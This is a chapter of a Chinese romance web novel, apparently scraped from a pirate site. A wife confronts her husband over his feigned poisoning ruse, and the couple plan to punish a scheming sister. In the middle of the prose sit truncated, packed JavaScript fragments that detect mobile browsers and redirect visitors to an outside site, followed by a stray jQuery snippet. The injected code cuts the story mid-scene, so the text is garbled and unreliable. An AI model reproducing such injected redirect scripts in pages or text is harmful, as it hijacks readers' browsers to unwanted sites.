第一百四十八章 新账旧账一起算

作品:《守节多年后,战神亡夫他诈尸还乡了

    叶淮然被她这副气鼓鼓的模样逗得眼底笑意更浓,却偏要装出一副委屈的样子,伸手将人重新捞回怀里,下巴蹭着她发顶,声音还带着刚醒的沙哑:“我哪骗你了?药是真的,安娇月下的也是真的,不信你叫**进来对质——”


    “对质你个头!”顾山月被他箍在怀里挣不开,只能仰着脸瞪他,脸颊绯红,也不知是气的还是羞的,“我就问你一句话——这药,除了找我,是不是真的没别的解法了?是不是真的会爆体而亡?”


    叶淮然语塞。


    他垂眸看着怀里的人,她眼角还残留着昨夜的红痕,鬓发微乱,一双眸子却亮得惊人,直直盯着他,非要讨个明白。那点狡辩的心思在她这样的目光下无所遁形,他摸了摸鼻子,干脆破罐子破摔,将人搂得更紧,耍赖似的哼哼:“别的解法……也不是没有。可我不想要。”


    “你——”顾山月气得抬手就往他胸口捶,“混蛋!无赖!登徒子!”


    拳头落下去,却软绵绵的没什么力道。


    叶淮然由着她打,嘴角那抹笑意怎么也压不下去,甚至还凑过去在她气鼓鼓的脸颊上亲了一下:“打,随便打。只要娘子消气,怎么打都行。”


    顾山月打了几下,手都酸了,也没能打掉他脸上那副欠扁的得意。她喘着气停下来,瞪着他:“你为什么要骗我?”


    叶淮然不说话了。他抱着她,将脸埋在她颈窝里,深深吸了口气,鼻尖蹭着她细腻的皮肤,动作里带着一种不易察觉的依恋和……不安。


    “说话。”顾山月推他。


    “……谷雨是告诉我了。”他闷闷的声音从她颈窝传来,“说你在云台寺,遇见了谢恒。”


    顾山月心头一紧。果然。


    “他……”叶淮然顿了顿,声音里忽然掺进一丝压抑的冷意,“他居然敢让你嫁给他。”


    顾山月听出他语气里的醋意,有些好笑,又有些无奈:“我不是拒绝了吗?话说得清清楚楚,绝无可能。”


    “我知道。”叶淮然抬起头,看着她,眼底那层笑意淡去,取而代之的是一种复杂的、近乎晦暗的情绪,“可是月儿……我……”


    他欲言又止,喉结滚了滚,像是有什么极沉重的话卡在喉咙里,最终却只是更紧地抱住她,将脸重新埋回去,声音低得几乎听不清:“……我害怕,而且……。”


    顾山月怔住了。


    她从未听过叶淮然用这样的语气说话——脆弱,不安,甚至带着点小心翼翼的恳求。那个在战场上杀伐果决、在朝堂上游刃有余、在她面前总是游刃有余甚至有些恶劣的男人,此刻像只被雨淋湿的大狗,紧紧扒着她,生怕一松手她就跑了。


    心底那点怒气忽然就散了,化作一片酸软的疼惜。她抬手,轻轻抚了抚他汗湿的后颈,声音也软了下来:“你怕什么?”


    叶淮然沉默了很久,久到顾山月以为他不会回答了,他才低声说:“怕你……不愿意。”


    顾山月心尖一颤。


    她忽然明白了——昨夜那场算计,那场半真半假的“中药”,那场步步为营的引诱,背后藏着的,是他不敢宣之于口的患得患失。他用了最笨拙、最无赖的方式,将她绑在身边,用肌肤之亲、用既成事实,来填补心底那个巨大的、关于“可能会失去她”的窟窿。


    她叹了口气,挣开他的怀抱,坐起身来。薄被滑落,露出肩颈上斑驳的痕迹,她脸颊一热,却还是强作镇定地看向他。


    “叶淮然,”她认真地说,“我若是不愿意,昨夜就算你真的要爆体而亡,我也能头也不回地走掉,管你死活。”


    叶淮然猛地抬眼,眸子亮得惊人。


    “我只是气,”顾山月别开脸,耳根通红,“气你又算计我,什么都瞒着我,什么都自己扛。我顾山月是市井里摸爬滚打出来的,不是养在深闺一碰就碎的瓷娃娃。有什么事,你不能跟我说?非要这样……这样……”


    她说不下去了,只觉得脸颊烫得能煎鸡蛋。


    35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16975900|190261||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >叶淮然却笑了。那笑容从眼底漾开,一路蔓延到嘴角,最后整个人都像是被点亮了,先前那点阴郁不安一扫而空。他伸手握住她的手,指尖轻轻摩挲着她的指节,郑重道:“以后不会了。以后什么事都告诉你,绝不骗你。”


    顾山月瞥他一眼:“真的?”


    “真的。”


    “那好,”她凑近了些,盯着他的眼睛,“你刚才说而且……而且什么?你还没说完。”


    叶淮然脸上的笑容僵了僵。


    他垂下眼,避开她的目光,指尖无意识地蜷了蜷:“……没什么。”


    “叶、淮、然。”顾山月一字一顿,伸手捏住他的下巴,强迫他抬起头,“好啊,是不骗我,不愿说就是‘不骗’了?你这算盘打得真响。”


    叶淮然被她捏着下巴,也不挣扎,只无辜地眨眨眼:“娘子明鉴,有些事……不是不愿说,是时候未到。”


    “什么时候未到?”顾山月不依不饶。


    叶淮然却不答了,只凑过去在她唇上轻啄了一下,随即翻身下床,捡起散落在地上的中衣披上,回头朝她伸出手:“先不说这个。走吧,咱们该去会会你那位好妹妹了。”


    他背对着晨光,身形挺拔,肩颈线条利落,昨夜那点脆弱不安仿佛只是错觉,此刻又是那个从容不迫、甚至眼底还藏着点算计的将军。


    顾山月看着他伸过来的手,又看看他坦然自若的神情,心里那点疑惑像雪球似的越滚越大。


    可她到底没再追问,只是哼了一声,将手放进他掌心。


    “安娇月人在哪儿?”


    “柴房。”叶淮然将她拉起来,顺手替她拢了拢衣襟,动作自然得仿佛做过千百遍,“**看着呢。这丫头昨晚守在我门外,见我一直不出来,以为计谋得逞,还想硬闯,被逮了个正着。”


    顾山月冷笑一声,眼底寒意骤起。


    “那正好。”她理了理鬓发,眸光清亮锐利,“新账旧账,咱们一起算。”